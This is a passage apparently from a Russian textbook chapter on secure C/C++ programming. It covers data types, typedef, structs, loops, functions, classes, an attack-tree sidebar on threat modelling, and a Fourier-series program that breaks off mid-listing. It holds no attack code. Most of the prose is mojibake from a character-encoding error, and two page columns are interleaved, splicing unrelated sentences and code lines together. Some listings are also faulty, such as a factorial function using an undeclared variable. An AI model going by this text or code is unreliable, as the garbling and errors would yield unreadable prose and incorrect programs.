íèöû, ÷òî è äåëàåò èõ óÿçâèìûìè äëÿ àòàê ìåòîäîì ïåðåïîëíåíèÿ ñòåêà. Îò- êà. Î òèïàõ è ôóíêöèÿõ ìû áóäåì åùå ïîäðîáíî ãîâîðèòü íèæå â ýòîé ãëàâå.
âåòñòâåííîñòü çà ðåàëèçàöèþ òàêîãî êîíòðîëÿ äëÿ êàæäîé ïåðåìåííîé, ñ÷è-
òûâàåìîé èç âíåøíåãî èñòî÷íèêà, âîçëàãàåòñÿ íà ïðîãðàììèñòà.  ÿçûêàõ C#
è Java ðèñêà ïåðåïîëíåíèÿ áóôåðà íåò, òàê êàê êîíòðîëü âûõîäà çà ãðàíèöû
Типы данных
ïðîèçâîäèòñÿ àâòîìàòè÷åñêè. Òèïû äàííûõ ñëóæàò â ÿçûêàõ ïðîãðàììèðîâàíèÿ äëÿ îïðåäåëåíèÿ ïåðåìåí-
 Ñ++ âêëþ÷åíû ñðåäñòâà äëÿ ñîêðûòèÿ äàííûõ. Âíóòðåííèå ìåòîäû è äàí- íûõ äî èõ èíèöèàëèçàöèè. Òèï îïðåäåëÿåò, êàê ïåðåìåííàÿ áóäåò ðàçìåùåíà
íûå êëàññà ìîæíî îáúÿâèòü çàêðûòûìè, òàê ÷òî îíè áóäóò äîñòóïíû òîëüêî â ïàìÿòè è êàêèå äàííûå îíà ìîæåò ñîäåðæàòü. Èíòåðåñíî îòìåòèòü, ÷òî,
âíóòðè ýòîãî êëàññà è áîëüøå íèãäå. Ïîñêîëüêó C – ýòî ÷èñòî ïðîöåäóðíûé õîòÿ òèïû äàííûõ ÷àñòî ïðèìåíÿþòñÿ äëÿ îïèñàíèÿ ðàçìåðà ïåðåìåííîé,
ÿçûê, òî ìåõàíèçìû ñîêðûòèÿ äàííûõ â íåì îòñóòñòâóþò, ïîýòîìó çëîíàìå- â ñòàíäàðòå ÿçûêà íå îïðåäåëåíû òî÷íûå ðàçìåðû êàæäîãî òèïà. Ïîýòîìó
ðåííûé ïîëüçîâàòåëü ìîæåò ïîëó÷èòü äîñòóï ê âíóòðåííèì ñòðóêòóðàì ïðî- ïðîãðàììèñò äîëæåí õîðîøî ïðåäñòàâëÿòü ñåáå ïëàòôîðìó, äëÿ êîòîðîé îí
ãðàììû íåïðåäóñìîòðåííûì ñïîñîáîì. ïèøåò êîä. Ãîâîðÿò, ÷òî ïåðåìåííàÿ ÿâëÿåòñÿ ýêçåìïëÿðîì (instance) íåêîòî-
Àòàêóÿ ïðîãðàììó, íàïèñàííóþ íà C èëè C++, ïðîòèâíèê ìîæåò òàêæå ðîãî òèïà äàííûõ. Â ÿçûêàõ C è C++ èìåþòñÿ ñëåäóþùèå ñòàíäàðòíûå òèïû
ïîëó÷èòü äîñòóï ê êðèòè÷åñêè âàæíûì îáëàñòÿì ïàìÿòè. Äåëî â òîì, ÷òî äàííûõ:
â îáîèõ ÿçûêàõ àêòèâíî ïðèìåíÿþòñÿ óêàçàòåëè, ïîçâîëÿþùèå îáðàòèòüñÿ  Int
Int. Òèï int ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë.  áîëüøèíñòâå ñèñ-
ê ïðîèçâîëüíîìó àäðåñó â ïàìÿòè.  Java è C# âìåñòî ýòîãî èñïîëüçóþòñÿ òåì äëÿ õðàíåíèÿ öåëîãî ÷èñëà âûäåëÿåòñÿ 4 áàéòà;
ññûëî÷íûå ïåðåìåííûå. Êðîìå òîãî, â Java ðåàëèçîâàíà ìîäåëü «ïåñî÷íèöû»  Float
Float. Òèïîì float ïðåäñòàâëÿþò ÷èñëà ñ ïëàâàþùåé òî÷êîé.  áîëüøèí-
(sandbox), â ñîîòâåòñòâèè ñ êîòîðîé ïðîãðàììû, ðàáîòàþùèå âíóòðè «ïåñî÷- ñòâå ñèñòåì ïîä íèõ îòâîäèòñÿ 4 áàéòà;
íèöû», íå ìîãóò ÷èòàòü èëè ìîäèôèöèðîâàòü âíåøíèå äàííûå. Òàêîé êîí-  Double
Double. Òèï double ñëóæèò äëÿ ïðåäñòàâëåíèÿ ÷èñåë ñ ïëàâàþùåé òî÷-
öåïöèè â ÿçûêàõ C è C++ íåò. êîé äâîéíîé òî÷íîñòè. Êàê ïðàâèëî, íà ÏÊ ïåðåìåííûå òàêîãî òèïà çà-
íèìàþò 8 áàéòîâ;
Пример «Здравствуй, мир!»  Char
Char. Òèï char ñëóæèò äëÿ ïðåäñòàâëåíèÿ ñèìâîëîâ. Â áîëüøèíñòâå ñèñ-
òåì äëÿ êàæäîãî ñèìâîëà âûäåëÿåòñÿ 1 áàéò.
Ïðîãðàììó «Çäðàâñòâóé, ìèð!» (Hello, world!) ÷àñòî ïðèâîäÿò â ïðèìåð, êàê
ïðîñòåéøóþ èç âîçìîæíûõ ïðîãðàìì íà äàííîì ÿçûêå. Íà÷èíàþùèå ïðî- Ñóùåñòâóþò òàêæå ìîäèôèêàòîðû, èçìåíÿþùèå ðàçìåð è èíòåðïðåòàöèþ
ãðàììèñòû íà ýòîì ïðèìåðå îñâàèâàþò áàçîâóþ ñòðóêòóðó ÿçûêà, ó÷àòñÿ îïèñàííûõ âûøå òèïîâ. Ê íèì îòíîñÿòñÿ short, long, signed è unsigned. Çíàêî-
ïîëüçîâàòüñÿ êîìïèëÿòîðîì è çàïóñêàòü ïðîãðàììó íà âûïîëíåíèå. Íèæå âûå (signed) òèïû ìîãóò ïðåäñòàâëÿòü êàê ïîëîæèòåëüíûå, òàê è îòðèöà-
ïðèâåäåí òåêñò òàêîé ïðîãðàììû íà ÿçûêå C. òåëüíûå çíà÷åíèÿ. Áåççíàêîâûå (unsigned) òèïû ïîçâîëÿþò ïðåäñòàâèòü
òîëüêî íåîòðèöàòåëüíûå çíà÷åíèÿ. Ïî óìîë÷àíèþ âñå ÷èñëîâûå òèïû çíà-
Пример 1.1. Здравствуй, мир! êîâûå. Íà ðèñ. 1.1 ïðèâåäåíà êëàññèôèêàöèÿ òèïîâ äàííûõ â ÿçûêàõ C/C++.
1 #include <stdio.h> ßçûêè C/C++ ïîçâîëÿþò ïðîãðàììèñòó îïðåäåëèòü ñîáñòâåííûå òèïû äàí-
2 int main( void ) { íûõ ñ ïîìîùüþ êëþ÷åâîãî ñëîâà typedef. Îíî ÷àñòî ïðèìåíÿåòñÿ, ÷òîáû ñäåëàòü
3 printf("%s", "Hello, world!"); ïðîãðàììó ïîíÿòíåå. Òàê, ñëåäóþùèå íèæå ïðèìåðû ýêâèâàëåíòíû, íî èñïîëü-
4 return 0;
5 }
çîâàíèå typedef áîëåå íàãëÿäíî ïîêàçûâàåò, ÷òî õîòåë ñêàçàòü ïðîãðàììèñò.

 ýòîì ïðèìåðå èìïîðòèðóåòñÿ ñòàíäàðòíàÿ áèáëèîòåêà ââîäà/âûâîäà. Пример 1.2. Конструкция typedef
Áåç typedef
 íåå âêëþ÷åíû ôóíêöèè, ÷àñòî èñïîëüçóåìûå â èíòåðàêòèâíûõ ïðîãðàì- int weight( void ){
ìàõ, íàïðèìåð, «printf». Äàííàÿ ïðîãðàììà ñîñòîèò âñåãî èç îäíîé ôóíêöèè int johnweight;
38 Глава 1. Написание безопасных программ С/С++ 39

 Óêàçàòåëè
Óêàçàòåëè. Óêàçàòåëü – ýòî ïåðåìåííàÿ, ññûëàþùàÿñÿ íà äðóãóþ ïåðå-
double ìåííóþ;
 Ñòðóêòóðû
Ñòðóêòóðû. Ñòðóêòóðà (struct) – ýòî çàïèñü, ñîäåðæàùàÿ äàííûå ðàç-
Типы с плавающей íûõ òèïîâ;
точкой  Îáúåäèíåíèÿ
Îáúåäèíåíèÿ. Îáúåäèíåíèå (union) ñîäåðæèò òîëüêî îäíî çíà÷åíèå,
íî â ðàçíûå ìîìåíòû èñïîëíåíèÿ ïðîãðàììû ó íåãî ìîãóò áûòü ðàç-
float íûå òèïû. Êàêîé èìåííî òèï õðàíèòñÿ â äàííûé ìîìåíò, îïðåäåëÿåò
Предопределенные ïîëå ñåëåêòîðà;
типы  Ïåðå÷èñëåíèÿ
Ïåðå÷èñëåíèÿ. Ïåðå÷èñëåíèå (enum) ïîçâîëÿåò îïðåäåëèòü ïåðåìåí-
char íóþ, ñïîñîáíóþ ïðèíèìàòü çíà÷åíèÿ èç íåáîëüøîãî ìíîæåñòâà.
Äëÿ ñîçäàíèÿ ñëîæíûõ òèïîâ äàííûõ, ñîñòîÿùèõ èç íåñêîëüêèõ ýëåìåíòîâ,
Целочисленные ïðèìåíÿåòñÿ êëþ÷åâîå ñëîâî struct. ×àñòî â ñòðóêòóðàõ óïîòðåáëÿþòñÿ òèïû,
типы ðàíåå îïðåäåëåííûå ñ ïîìîùüþ ñëîâà typedef. Â ïðèìåðå 1.3 ïðîäåìîíñòðè-
ðîâàíà ñòðóêòóðà äàííûõ.
int

Рис. 1.1. Классификация типов данных в языках C/C++


Пример 1.3. Структура struct
1 struct person{
2 String name; /* òèï String äîëæåí áûòü ãäå-òî îïðåäåëåí */
johnweight = 150; 3 Height h; /* òèï Height äîëæåí áûòü ãäå-òî îïðåäåëåí */
return johnweight; 4 Weight w; /* òèï Weight äîëæåí áûòü ãäå-òî îïðåäåëåí */
} 5 }

Ñ typedef
int weight( void ){
Ñòðóêòóðà person ïîçâîëÿåò ïðîãðàììèñòó ëîãè÷åñêè ñãðóïïèðîâàòü èí-
typedef int weight; /* âåñ â ôóíòàõ */ ôîðìàöèþ î ôèçè÷åñêîì ëèöå, à çàòåì ëåãêî ïîëó÷èòü ê íåé äîñòóï. Òàê, äëÿ
weight johnweight = 150; ñëîæåíèÿ âåñà Äæîíà è Òîìà íàäî íàïèñàòü:
return johnweight;
} int combinedweight = John.w + Tom.w;

Èç ýòèõ ïðèìåðîâ âèäíî, ÷òî èñïîëüçîâàíèå typedef ïðîÿñíÿåò ñìûñë ïðî-


ãðàììû è ïîçâîëÿåò ñâÿçàòü ñ òèïîì äàííûõ íåêîòîðûå äîïîëíèòåëüíûå õà- Ущерб и защита
ðàêòåðèñòèêè. Êîììåíòàðèé ê ñòðîêå 7 ãîâîðèò î òîì, ÷òî âñå ïåðåìåííûå
òèïà weight áóäóò õðàíèòü çíà÷åíèÿ âåñà â ôóíòàõ. Ãëÿäÿ íà ñòðîêó 8 ìû âèäèì, Создание дерева атак
÷òî ïåðåìåííàÿ johnweight – ýòî, âåðîÿòíåå âñåãî, âåñ. Â ïðèìåðå áåç ïðèìå- Очень важно объективно оценивать факторы, угрожающие новой вы
íåíèÿ typedef ìîæíî ëèøü ñêàçàòü, ÷òî johnweight – ýòî öåëîå ÷èñëî. Ïî числительной системе. Дерево атак – это модель, помогающая разра
ìåðå óâåëè÷åíèÿ ðàçìåðà ïðîãðàììû ïðåèìóùåñòâà typedef ñòàíîâÿòñÿ áîëåå ботчику описать имеющиеся риски. Чтобы построить дерево атак,
î÷åâèäíûìè.  ïðåäûäóùåì ïðèìåðå îáà ìåòîäà ïðèâîäÿò ê ÿñíîìó êîäó, íî, взгляните на систему с точки зрения противника. В корневом узле
åñëè ïðîãðàììà ñîñòîèò èç íåñêîëüêèõ ñîòåí ñòðîê, òî îáúÿâëåíèå ïåðåìåí- расположите цель противника. Узлампотомкам сопоставьте методы,
íîé êàê èìåþùåé òèï weight ìîæåò ìíîãîå ñêàçàòü î åå ïðèðîäå. с помощью которых противник может попытаться достичь своей цели.
 ÿçûêå C èìåþòñÿ ñëåäóþùèå êîíñòðóêöèè äëÿ îðãàíèçàöèè ñòðóêòóð Вообще, потомки каждого узла должны содержать методы, с помо
äàííûõ: щью которых можно достичь цели или реализовать метод в узлероди
теле.
 Ìàññèâû
Ìàññèâû. Ìàññèâ – ýòî èíäåêñèðîâàííàÿ ïîñëåäîâàòåëüíîñòü äàííûõ
îäíîãî òèïà; Продолжение ⇒
40 Глава 1. Написание безопасных программ С/С++ 41

Построив дерево атак, припишите каждому узлу некоторую вероят


Пример 1.6. Цикл «do...while»
do{
ность. Поднимаясь снизу вверх, от «листьев» к «корню», можно дать [áëîê ïðåäëîæåíèé];
вероятностную оценку безопасности системы в целом. } while( óñëîâèå );

 öèêëå do...while ïðîâåðÿåìîå óñëîâèå íàõîäèòñÿ â êîíöå è ïðîâåðÿåòñÿ


ïîñëå âûïîëíåíèÿ áëîêà ïðåäëîæåíèé. Åñëè îíî èñòèííî, òî áëîê ïðåäëî-
æåíèé âûïîëíÿåòñÿ åùå ðàç, â ïðîòèâíîì ñëó÷àå ïðîèñõîäèò âûõîä èç öèêëà.
Öèêë do...while ïîõîæ íà öèêë while ñ îäíèì îòëè÷èåì: áëîê ïðåäëîæåíèé
Поток управления áóäåò âûïîëíåí õîòÿ áû îäèí ðàç. Öèêëû ýòîãî âèäà âñòðå÷àþòñÿ ðåæå, ÷åì for
 ÿçûêàõ C è C++ äëÿ óïðàâëåíèÿ ïîòîêîì âûïîëíåíèÿ ïðîãðàììû ïðèìåíÿ- è while.
þòñÿ öèêëû.  ïðîãðàììàõ ÷àñòî âñòðå÷àþòñÿ ó÷àñòêè, êîòîðûå íàäî ïîâ- Ñëåäóåò îòìåòèòü, ÷òî â áîëüøèíñòâå ñëó÷àåâ âñå òðè öèêëè÷åñêèõ êîíñò-
òîðèòü ëèáî çàðàíåå èçâåñòíîå ÷èñëî ðàç, ëèáî äî òåõ ïîð, ïîêà íå áóäåò ðóêöèè ôóíêöèîíàëüíî ýêâèâàëåíòíû, è íà ïðàêòèêå ïðèìåíÿåòñÿ òà èç íèõ,
âûïîëíåíî íåêîòîðîå óñëîâèå. Öèêëû êàê ðàç è ïðåäíàçíà÷åíû äëÿ ðåøå- êîòîðàÿ ëó÷øå ñîîòâåòñòâóåò êîíêðåòíîé çàäà÷å. Êîãäà âûáðàííûé âèä öèêëà
íèÿ ïîäîáíîãî ðîäà çàäà÷. Èìååòñÿ òðè îñíîâíûõ âèäà öèêëîâ: for, while è òî÷íî ñîîòâåòñòâóåò õîäó ìûñëè ïðîãðàììèñòà, âåðîÿòíîñòü îøèáêè (îñî-
do...while. áåííî âñëåäñòâèå îäíîé ëèøíåé èëè íåäîñòàþùåé èòåðàöèè) ñíèæàåòñÿ.

Пример 1.4. Цикл «for» Пример 1.7. Эквивалентность циклов – выполнение пяти итераций
1 for( íà÷àëüíîå_âûðàæåíèå; ïðîâåðÿåìîå_óñëîâèå; îïåðàöèÿ ){
2 [áëîê ïðåäëîæåíèé]; Öèêë for
3 } for( i = 0 ; i < 5 ; i++ ){
áëîê_ïðåäëîæåíèé;
}
Èç âñåõ öèêëîâ ÷àùå âñåãî èñïîëüçóåòñÿ for.  íà÷àëå âûïîëíåíèÿ öèêëà
ïðîãðàììà âû÷èñëÿåò íà÷àëüíîå âûðàæåíèå è ïðîâåðÿåò ñëåäóþùåå çà íèì Öèêë while
óñëîâèå. Åñëè óñëîâèå èñòèííî, âûïîëíÿåòñÿ òåëî öèêëà («áëîê ïðåäëîæå- int i = 0;
íèé»). Â êîíöå öèêëà ïðîèçâîäèòñÿ îïåðàöèÿ, óêàçàííàÿ íà òðåòüåì ìåñòå while( i < 5 ){
áëîê_ïðåäëîæåíèé;
â çàãîëîâêå, ïîñëå ÷åãî ñíîâà ïðîâåðÿåòñÿ óñëîâèå. Öèêë ïðîäîëæàåòñÿ, ïîêà i++;
óñëîâèå íå ñòàíåò ëîæíûì. }
Îñîáåííî õîðîøî öèêë for ïîäõîäèò äëÿ âûïîëíåíèÿ èòåðàöèé. Åñëè íóæ-
íî âûïîëíèòü áëîê ïðåäëîæåíèé ïÿòü ðàç, òî ìîæíî íàïèñàòü òàêîé ïðî- Öèêë do...while
int i = 0;
ñòîé öèêë: do {
áëîê_ïðåäëîæåíèé;
for( i = 0 ; i < 5 ; i++ ){ i++;
[áëîê ïðåäëîæåíèé]; } while( i < 5 )
}

 êàæäîì èç ýòèõ ïðèìåðîâ áëîê ïðåäëîæåíèé âûïîëíÿåòñÿ ïÿòü ðàç. Êîí-


Пример 1.5. Цикл «while» ñòðóêöèè ðàçíûå, íî ðåçóëüòàò îäèí è òîò æå. Ïîýòîìó ìû è ãîâîðèì, ÷òî âñå
while( óñëîâèå ){
[áëîê ïðåäëîæåíèé]; âèäû öèêëîâ ôóíêöèîíàëüíî ýêâèâàëåíòíû.
}

Ïðè âûïîëíåíèè öèêëà while ïðîâåðÿåòñÿ óñëîâèå, ñòîÿùåå â íà÷àëå öèêëà.


Функции
Åñëè îíî èñòèííî, âûïîëíåíèå öèêëà ïðîäîëæàåòñÿ, èíà÷å ïðåêðàùàåòñÿ. Ìîæíî ñêàçàòü, ÷òî ôóíêöèÿ – ýòî ìèíèàòþðíàÿ ïðîãðàììà. Èíîãäà ïðî-
Öèêë ïîâòîðÿåòñÿ, ïîêà óñëîâèå íå ñòàíåò ëîæíûì. ãðàììèñòó íóæíî ïîëó÷èòü íà âõîäå îïðåäåëåííûå äàííûå, ïðîèçâåñòè íàä
42 Глава 1. Написание безопасных программ С/С++ 43

íèìè íåêîòîðóþ îïåðàöèþ è âåðíóòü ðåçóëüòàò â òðåáóåìîì ôîðìàòå. Ïîíÿ-  Maneuverabil ity (ìàíåâðåííîñòü);
òèå ôóíêöèè áûëî ïðèäóìàíî äëÿ òàêèõ ïîâòîðÿþùèõñÿ îïåðàöèé. Ôóíê-  Position (ïîëîæåíèå).
öèÿ – ýòî àâòîíîìíàÿ ÷àñòü ïðîãðàììû, êîòîðóþ ìîæíî âûçâàòü äëÿ âû- Ñ åãî ïîìîùüþ ïðîãðàììèñò ìîæåò ñìîäåëèðîâàòü ïîëåò ñàìîëåòà ïðè çà-
ïîëíåíèÿ îïåðàöèè íàä äàííûìè. Ôóíêöèÿ ïðèíèìàåò íåêîòîðîå ÷èñëî àð- äàííûõ óñëîâèÿõ. Äëÿ ìîäèôèêàöèè õàðàêòåðèñòèê îáúåêòà ìîæíî íàïèñàòü
ãóìåíòîâ è âîçâðàùàåò çíà÷åíèå.
íåñêîëüêî ôóíêöèé äîñòóïà (accessor):
Íèæå ïðèâåäåí ïðèìåð ôóíêöèè, êîòîðàÿ ïîëó÷àåò íà âõîäå öåëîå ÷èñëî è
âîçâðàùàåò åãî ôàêòîðèàë. SetWeight( int )
SetSpeed( int )
Пример 1.8. Функция Factorial SetManeuverability( int )
int Factorial( int num ){ SetPosition( int )
for( i = (num – 1) ; i > 0 ; i-- ){ MovePosition( int )
num *= i; /* ñîêðàùåííàÿ çàïèñü äëÿ num = num * i */
} Êîä òàêîãî êëàññà plane ìîã áû âûãëÿäåòü ñëåäóþùèì îáðàçîì:
return num;
}
Пример 1.9. Класс plane
 ïåðâîé ñòðîêå Factorial – ýòî èìÿ ôóíêöèè. Åìó ïðåäøåñòâóåò êëþ÷åâîå 1 public class plane{
2 int Weight;
ñëîâî int, ãîâîðÿùåå î òîì, ÷òî ôóíêöèÿ âîçâðàùàåò öåëîå çíà÷åíèå. ×àñòü
3 int Speed;
( int num ) îçíà÷àåò, ÷òî ôóíêöèÿ ïðèíèìàåò â êà÷åñòâå àðãóìåíòà îäíî öå- 4 int Maneuverability;
ëîå ÷èñëî, êîòîðîå áóäåò îáîçíà÷àòüñÿ num. Ïðåäëîæåíèå return ãîâîðèò 5 Location Position; /* òèï Location äîëæåí áûòü ãäå-òî îïðåäåëåí
î òîì, êàêîå èìåííî çíà÷åíèå ôóíêöèÿ âîçâðàùàåò. 6 è ïðåäñòàâëÿòü ïðîñòðàíñòâåííûå êîîðäèíàòû (x,y,z) */
7 plane( int W, int S, int M, Location P ){
8 Weight = W;
Классы (только C++) 9 Speed = S;
10 Maneuverability = M;
Îáúåêòíî-îðèåíòèðîâàííûå ïðîãðàììû îðãàíèçîâàíû â âèäå íàáîðà êëàñ- 11 Position = P;
ñîâ. Êëàññ – ýòî äèñêðåòíàÿ åäèíèöà ïðîãðàììû, îáëàäàþùàÿ îïðåäåëåííû- 12 }
ìè õàðàêòåðèñòèêàìè. Â ÿçûêå C êëàññîâ íåò, òàê êàê ýòî ïðîöåäóðíûé, à íå 13
îáúåêòíî-îðèåíòèðîâàííûé ÿçûê. 14 void SetWeight( plane current, int W ){
Êëàññ ãðóïïèðóåò äàííûå è ôóíêöèè íåêîòîðûõ òèïîâ. Êëàññ ìîæåò ñîäåð- 15 ñurrent.Weight = W;
æàòü êîíñòðóêòîð, êîòîðûé îïðåäåëÿåò, êàê ñîçäàåòñÿ ýêçåìïëÿð êëàññà èëè 16 }
17
îáúåêò. Êëàññ âêëþ÷àåò ôóíêöèè, âûïîëíÿþùèå îïåðàöèè íàä ýêçåìïëÿðà-
18 /* Ìåòîäû SetSpeed, SetManeuverability, SetPosition,
ìè ýòîãî êëàññà. MovePosition òîæå äîëæíû áûòü îïðåäåëåíû */
Ïðåäïîëîæèì, íàïðèìåð, ÷òî ïðîãðàììèñò ðàáîòàåò íàä ñèìóëÿòîðîì ïî- 19 }
ëåòîâ äëÿ êîìïàíèè – ïðîèçâîäèòåëÿ ñàìîëåòîâ. Ðåçóëüòàòû ýòîé ðàáîòû ïî-
ìîãóò êîìïàíèè ïðèíÿòü âàæíûå ïðîåêòíûå ðåøåíèÿ. Â òàêîé ñèòóàöèè Ýòîò êîä ñëóæèò äëÿ èíèöèàëèçàöèè îáúåêòà. Ïðè âûçîâå ìåòîäà plane çà-
îáúåêòíî-îðèåíòèðîâàííîå ïðîãðàììèðîâàíèå – èäåàëüíûé èíñòðóìåíò. äàþòñÿ âñå õàðàêòåðèñòèêè, êîòîðûìè äîëæåí îáëàäàòü ñàìîëåò: âåñ, ñêî-
Ìîæíî ñîçäàòü êëàññ plane, èíêàïñóëèðóþùèé âñå õàðàêòåðèñòèêè ñàìîëåòà ðîñòü, ìàíåâðåííîñòü è ïîëîæåíèå. Íà ïðèìåðå ìåòîäà SetWeight ïðîäåìîíñò-
è ôóíêöèè äëÿ ìîäåëèðîâàíèÿ åãî ïåðåìåùåíèé. Ìîæíî òàêæå ñîçäàòü íå- ðèðîâàíî, êàê ìîæíî âêëþ÷èòü â êëàññ îïåðàöèþ íàä îïèñûâàåìûì èì
ñêîëüêî îáúåêòîâ êëàññà plane, êàæäûé èç êîòîðûõ áóäåò ñîäåðæàòü ñâîè ñîá- îáúåêòîì.
ñòâåííûå äàííûå. Ñèìóëÿòîð ìîæåò ñîçäàòü íåñêîëüêî ýêçåìïëÿðîâ êëàññà plane è âûïîëíèòü
Êëàññ ìîæåò ñîäåðæàòü íåñêîëüêî ïåðåìåííûõ, ê ïðèìåðó: «ïðîáíûå ïîëåòû» äëÿ îöåíêè âëèÿíèÿ ðàçëè÷íûõ õàðàêòåðèñòèê. Íàïðèìåð,
 Weight (âåñ); ñàìîëåò plane1 ìîæåò âåñèòü 5000 ôóíòîâ, ëåòàòü ñî ñêîðîñòüþ 500 ìèëü/÷àñ è
 Speed (ñêîðîñòü); îáëàäàòü ìàíåâðåííîñòüþ 10, òîãäà êàê äëÿ ñàìîëåòà plane2 ìîæíî çàäàòü
44 Глава 1. Написание безопасных программ С/С++ 45

òàêèå ïàðàìåòðû: âåñ 6000 ôóíòîâ, ñêîðîñòü 600 ìèëü/÷àñ, ìàíåâðåííîñòü 8.


 ÿçûêå C++ ýêçåìïëÿðû êëàññà ñîçäàþòñÿ ïî÷òè òàê æå, êàê îáû÷íûå ïå-
ðåìåííûå. Ñêàæåì, îáúåêò plane1 ìîæíî ñîçäàòü ñ ïîìîùüþ òàêèõ ïðåäëî-
æåíèé:

Location p; Ñëåäóþùàÿ ïðîãðàììà ñíà÷àëà âû÷èñëÿåò êîýôôèöèåíòû, à çàòåì çíà÷åíèå


p = ( 3, 4, 5 ); g(t). Íî âìåñòî òîãî ÷òîáû íåïîñðåäñòâåííî âîñïðîèçâîäèòü ïîêàçàííûå
plane plane1 = plane(5.000, 500, 10, p );
âûøå óðàâíåíèÿ, ìû ïîéäåì ïî áîëåå êîðîòêîìó ïóòè, ñâÿçàííîìó ñ ïðè-
áëèçèòåëüíûì âû÷èñëåíèåì ïëîùàäè ïîä êðèâîé. Èçó÷èòå òåêñò ïðîãðàììû
Íàñëåäîâàíèå ïîçâîëÿåò ïðîãðàììèñòàì ñîçäàâàòü èåðàðõèè êëàññîâ.
è ïîäóìàéòå, êàê òàêîé ïîäõîä ìîæíî ïðèìåíèòü äëÿ ðàçëîæåíèÿ ôóíêöèè
Êëàññû îðãàíèçóþòñÿ â äðåâîâèäíûå ñòðóêòóðû, â êîòîðûõ ó êàæäîãî êëàññà
â ðÿä Ôóðüå.
åñòü «ðîäèòåëè» è, âîçìîæíî, «ïîòîìêè». Êëàññ «íàñëåäóåò», òî åñòü ìîæåò
ïîëüçîâàòüñÿ ôóíêöèÿìè ëþáîãî èç ñâîèõ ðîäèòåëåé, íàçûâàåìûõ òàêæå åãî
ñóïåðêëàññàìè. Íàïðèìåð, åñëè êëàññ plane ÿâëÿåòñÿ ïîäêëàññîì êëàññà vehicle, Вопрос
òî îáúåêò êëàññà plane èìååò äîñòóï êî âñåì ôóíêöèÿì, êîòîðûå ìîæíî âû-
Как оценить площадь под кривой с помощью прямоугольников?
ïîëíÿòü íàä îáúåêòîì êëàññà vehicle.
Ó êëàññîâ åñòü ìíîãî ïðåèìóùåñòâ, íåäîñòàþùèõ äðóãèì èìåþùèìñÿ
â ýòîì ÿçûêå ïðîãðàììèðîâàíèÿ òèïàì. Îíè ïðåäîñòàâëÿþò ýôôåêòèâíîå
Листинг 1.1. Разложение в ряд Фурье
ñðåäñòâî äëÿ îðãàíèçàöèè ïðîãðàììû â âèäå íàáîðà ìîäóëåé, êîòîðûì ìîæ- 1 #include <stdio.h>
íî íàñëåäîâàòü. Ìîæíî òàêæå ñîçäàâàòü àáñòðàêòíûå êëàññû, âûñòóïàþùèå 2 #include <math.h>
â ðîëè èíòåðôåéñîâ. Èíòåðôåéñ îïðåäåëÿåò, íî íå ðåàëèçóåò íåêîòîðóþ 3
ôóíêöèîíàëüíîñòü, îñòàâëÿÿ ýòó çàäà÷ó ñâîèì ïîäêëàññàì. Äàííûå êëàññà 4 void main( void );
5 double geta( double );
ìîæíî îáúÿâëÿòü çàêðûòûìè, ãàðàíòèðóÿ òåì ñàìûì, ÷òî äîñòóï ê âíóòðåí- 6 double getb( double );
íåìó ñîñòîÿíèþ êëàññà âîçìîæåí ëèøü ñ ïîìîùüþ ñïåöèàëüíî ïðåäíàçíà- 7 double getsee( void );
÷åííûõ äëÿ ýòîãî ôóíêöèé. 8 double g( double );
9
10 /*ãëîáàëüíûå ïåðåìåííûå */
Пример: ряды Фурье 11 double width = 0.0001;
12 double rightorleft=0; /* Èíèöèàëèçèðóåì íóëåì, ÷òîáû íà÷àòü
Ïðè ïåðåäà÷å äàííûõ ïî êàíàëàì ñ îãðàíè÷åííîé ïðîïóñêíîé ñïîñîáíîñòüþ ñóììèðîâàíèå ïëîùàäåé ïðÿìîóãîëüíèêîâ ñëåâà *.
íåâîçìîæíî â òî÷íîñòè ïåðåäàòü è ïðèíÿòü äâîè÷íûå äàííûå. Èñõîäíûå 13 /* ß ïîìåñòèë ýòî äëÿ òîãî, ÷òîáû ïîçæå ïðîâåðèòü òî÷íîñòü A è B */
äâîè÷íûå äàííûå êîäèðóþòñÿ ñ ïîìîùüþ ðàçëè÷íûõ óðîâíåé íàïðÿæåíèÿ è 14 int numterms=10; /* Ñêîëüêî êîýôôèöèåíòîâ âû÷èñëèòü è
íàïå÷àòàòü */
ðåêîíñòðóèðóþòñÿ íà ïðèåìíîì êîíöå. Åñëè óðîâåíü íàïðÿæåíèÿ ñïîñîáåí
15 double T=1; /* Çàäàòü ïåðèîä è ÷àñòîòó */
ïðèíèìàòü íåñêîëüêî ðàçëè÷íûõ çíà÷åíèé, òî ìîæíî ïåðåäàòü áîëüøå èí- 16 double f=1;
ôîðìàöèè, ÷åì ïðîñòî «0» è «1». Äëÿ àïïðîêñèìàöèè ôóíêöèé ïðèìåíÿåòñÿ 17
ðàçëîæåíèå â ðÿä Ôóðüå. Æàí-Áàòèñò Ôóðüå â íà÷àëå äåâÿòíàäöàòîãî âåêà 18 void main( void ){
äîêàçàë, ÷òî ïî÷òè ëþáóþ ïåðèîäè÷åñêóþ ôóíêöèþ ìîæíî ïðåäñòàâèòü 19 double a [ numterms + 1 ], b[ numterms + 1 ], c, ctoo , n;
20 int i, j;
â âèäå áåñêîíå÷íîé ñóììû ñèíóñîâ è êîñèíóñîâ, òî÷íåå: 21 printf( "\n" );
22 c = getsee( );
23
Ñ ïîìîùüþ èíòåãðèðîâàíèÿ (îñòàâëÿåì ýòî ÷èòàòåëþ â êà÷åñòâå óïðàæíå- 24 for ( n=1 ; n <= numterms ; n++ ){
íèÿ) ìîæíî ïîëó÷èòü ôîðìóëû äëÿ âû÷èñëåíèÿ êîýôôèöèåíòîâ a, b è c: 25 /* Èãíîðèðóåì íóëåâîé ýëåìåíò ìàññèâà, òàê ÷òî a[1] ïðåäñòàâëÿåò a1 */
46 Глава 1. Написание безопасных программ С/С++ 47
26 i = n; /* Íóæíî çàäàòü i, òàê êàê èíäåêñ ìàññèâà íå ìîæåò 72 total += width * ( g( i ) * cos( 6.28 * n * f * i ) );
áûòü çíà÷åíèåì òèïà double */ 73 total *= 2/T;
27 a[ i ] = geta( n ); 74 return total;
28 } 75 }
29 76
30 for ( n=1 ; n <= numterms ; n++ ){ 77 double getsee( void ){
31 i = n; 78 double i, total=0;
32 b[ i ] = getb( n ); 79 double end;
33 } 80
34 rightorleft=width; 81 if ( rightorleft==0 ) end = T – width; /* Íóæíî äëÿ òîãî, ÷òîáû íå
35 /* Èñïîëüçóåòñÿ äëÿ âû÷èñëåíèÿ ïëîùàäè ïî ïðàâîé ñòîðîíå */ ïîñ÷èòàòü ëèøíèé ïðÿìîóãîëüíèê */
36 82 else end = T;
